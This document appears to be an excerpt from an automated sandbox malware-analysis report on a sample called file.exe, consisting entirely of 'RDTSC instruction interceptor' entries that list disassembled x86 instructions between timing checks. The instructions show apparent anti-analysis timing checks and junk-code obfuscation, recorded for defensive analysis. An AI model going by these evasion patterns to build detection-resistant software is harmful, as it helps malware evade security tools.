Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAF9A second address: 6EAFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD103293Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F2FD1032936h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAFB4 second address: 6EAFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EE60F second address: 6EE619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2FD1032936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A749B second address: 6A74A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A74A2 second address: 6A74EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007F2FD103294Dh 0x0000000e jmp 00007F2FD1032948h 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F2FD1032936h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F05F9 second address: 6F061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F2FD0BFC0B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jmp 00007F2FD0BFC0C0h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0B9B second address: 6F0BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0BA1 second address: 6F0BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0D6B second address: 6F0D84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD103293Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1288 second address: 6F128E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F128E second address: 6F1292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1374 second address: 6F1378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1378 second address: 6F1382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F15C1 second address: 6F15C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F15C5 second address: 6F15CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F15CB second address: 6F15D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F15D1 second address: 6F15D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F15D5 second address: 6F15D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1D47 second address: 6F1D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1D4D second address: 6F1D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1D51 second address: 6F1D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1D5F second address: 6F1D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3718 second address: 6F37AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F2FD1032949h 0x00000010 nop 0x00000011 mov esi, 5F94D868h 0x00000016 jnp 00007F2FD1032955h 0x0000001c call 00007F2FD1032948h 0x00000021 jng 00007F2FD1032936h 0x00000027 pop edi 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F2FD1032938h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 sub edi, dword ptr [ebp+122D2A9Dh] 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f jne 00007F2FD1032938h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F255D second address: 6F2565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F37AD second address: 6F37B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F2FD1032936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F37B7 second address: 6F37BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F91ED second address: 6F91F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2FD1032936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F543E second address: 6F5444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6816 second address: 6F6828 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2FD1032938h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F91F7 second address: 6F929F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnc 00007F2FD0BFC0C2h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F2FD0BFC0B8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d jl 00007F2FD0BFC0BCh 0x00000033 xor edi, 25DE7241h 0x00000039 push 00000000h 0x0000003b jbe 00007F2FD0BFC0C2h 0x00000041 ja 00007F2FD0BFC0BCh 0x00000047 xor bh, FFFFFF9Eh 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push eax 0x0000004f call 00007F2FD0BFC0B8h 0x00000054 pop eax 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 add dword ptr [esp+04h], 0000001Dh 0x00000061 inc eax 0x00000062 push eax 0x00000063 ret 0x00000064 pop eax 0x00000065 ret 0x00000066 mov dword ptr [ebp+1247E713h], esi 0x0000006c xchg eax, esi 0x0000006d jl 00007F2FD0BFC0C4h 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5444 second address: 6F5448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F929F second address: 6F92B0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F92B0 second address: 6F92B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F92B6 second address: 6F92BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1BD second address: 6FA1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F2FD103293Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1CA second address: 6FA22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, 1E1CC676h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F2FD0BFC0B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b add dword ptr [ebp+122D3534h], ecx 0x00000031 xchg eax, esi 0x00000032 jmp 00007F2FD0BFC0C6h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F2FD0BFC0BEh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F94FB second address: 6F9501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB1BE second address: 6FB1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA3DF second address: 6FA3E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB3EF second address: 6FB411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F2FD0BFC0BAh 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC177 second address: 6FC21E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F2FD1032938h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov edi, 50A510A5h 0x0000002b mov di, 6968h 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D352Dh] 0x00000037 mov dword ptr [ebp+122D2ECFh], esi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ecx 0x00000042 call 00007F2FD1032938h 0x00000047 pop ecx 0x00000048 mov dword ptr [esp+04h], ecx 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc ecx 0x00000055 push ecx 0x00000056 ret 0x00000057 pop ecx 0x00000058 ret 0x00000059 add di, 74B5h 0x0000005e xchg eax, esi 0x0000005f push ebx 0x00000060 jmp 00007F2FD1032941h 0x00000065 pop ebx 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a push edx 0x0000006b pop edx 0x0000006c jp 00007F2FD1032936h 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD446 second address: 6FD44A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC4A1 second address: 6FC4A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE47D second address: 6FE4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F2FD0BFC0C3h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F2FD0BFC0B8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+12451F5Fh] 0x00000030 mov ebx, dword ptr [ebp+122D2A85h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F2FD0BFC0B8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov bx, di 0x00000055 xchg eax, esi 0x00000056 push ecx 0x00000057 push esi 0x00000058 push edi 0x00000059 pop edi 0x0000005a pop esi 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jng 00007F2FD0BFC0B8h 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FD573 second address: 6FD57E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2FD1032936h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE4F7 second address: 6FE506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF2EF second address: 6FF306 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2FD103293Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF306 second address: 6FF30A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE67A second address: 6FE680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE680 second address: 6FE696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2FD0BFC0C1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70034B second address: 700351 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700351 second address: 70035B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F2FD0BFC0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70035B second address: 70035F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70035F second address: 7003D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2FD0BFC0BEh 0x0000000e nop 0x0000000f movzx edi, cx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F2FD0BFC0B8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov bx, cx 0x00000031 mov ebx, dword ptr [ebp+122D2899h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F2FD0BFC0B8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push eax 0x00000054 jl 00007F2FD0BFC0BEh 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7013A2 second address: 7013A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7024BC second address: 7024C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7024C0 second address: 702523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx ebx, si 0x0000000d mov ebx, dword ptr [ebp+122D2A39h] 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D3868h], ebx 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D2CF5h], eax 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 jg 00007F2FD1032945h 0x0000002b push edx 0x0000002c jmp 00007F2FD1032943h 0x00000031 pop edx 0x00000032 popad 0x00000033 push eax 0x00000034 jo 00007F2FD103294Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F2FD103293Ah 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702523 second address: 702527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705559 second address: 7055B8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, esi 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D37C2h], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F2FD1032938h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 push edx 0x00000035 jmp 00007F2FD1032943h 0x0000003a pop edi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push eax 0x00000040 pop eax 0x00000041 jmp 00007F2FD103293Ch 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70275B second address: 70276D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F2FD0BFC0B8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7015AB second address: 7015AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705758 second address: 70575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70575D second address: 705763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706795 second address: 70683C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add ebx, dword ptr [ebp+122D2A0Dh] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov ebx, dword ptr [ebp+124567E5h] 0x0000001e mov edi, dword ptr [ebp+122D2A59h] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F2FD0BFC0B8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 sbb bl, 00000026h 0x00000048 mov dword ptr [ebp+122D2EC5h], edi 0x0000004e stc 0x0000004f mov eax, dword ptr [ebp+122D0645h] 0x00000055 jmp 00007F2FD0BFC0BFh 0x0000005a push FFFFFFFFh 0x0000005c call 00007F2FD0BFC0BEh 0x00000061 pop edi 0x00000062 nop 0x00000063 jmp 00007F2FD0BFC0C7h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e jmp 00007F2FD0BFC0BFh 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708500 second address: 708582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F2FD1032938h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 movzx ebx, bx 0x0000002a add edi, 0DA611C1h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F2FD1032938h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov bl, dh 0x00000050 add dword ptr [ebp+122D3686h], ebx 0x00000056 xchg eax, esi 0x00000057 jbe 00007F2FD103294Eh 0x0000005d pushad 0x0000005e jmp 00007F2FD1032940h 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708582 second address: 70858C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70858C second address: 708594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709C43 second address: 709C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0920 second address: 6A0931 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2FD103293Ch 0x00000008 jg 00007F2FD1032936h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8E5F second address: 6A8E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8E67 second address: 6A8E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71308F second address: 713093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9C95 second address: 6B9C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9C9D second address: 6B9CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9CA2 second address: 6B9CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2FD1032936h 0x0000000a rdtsc
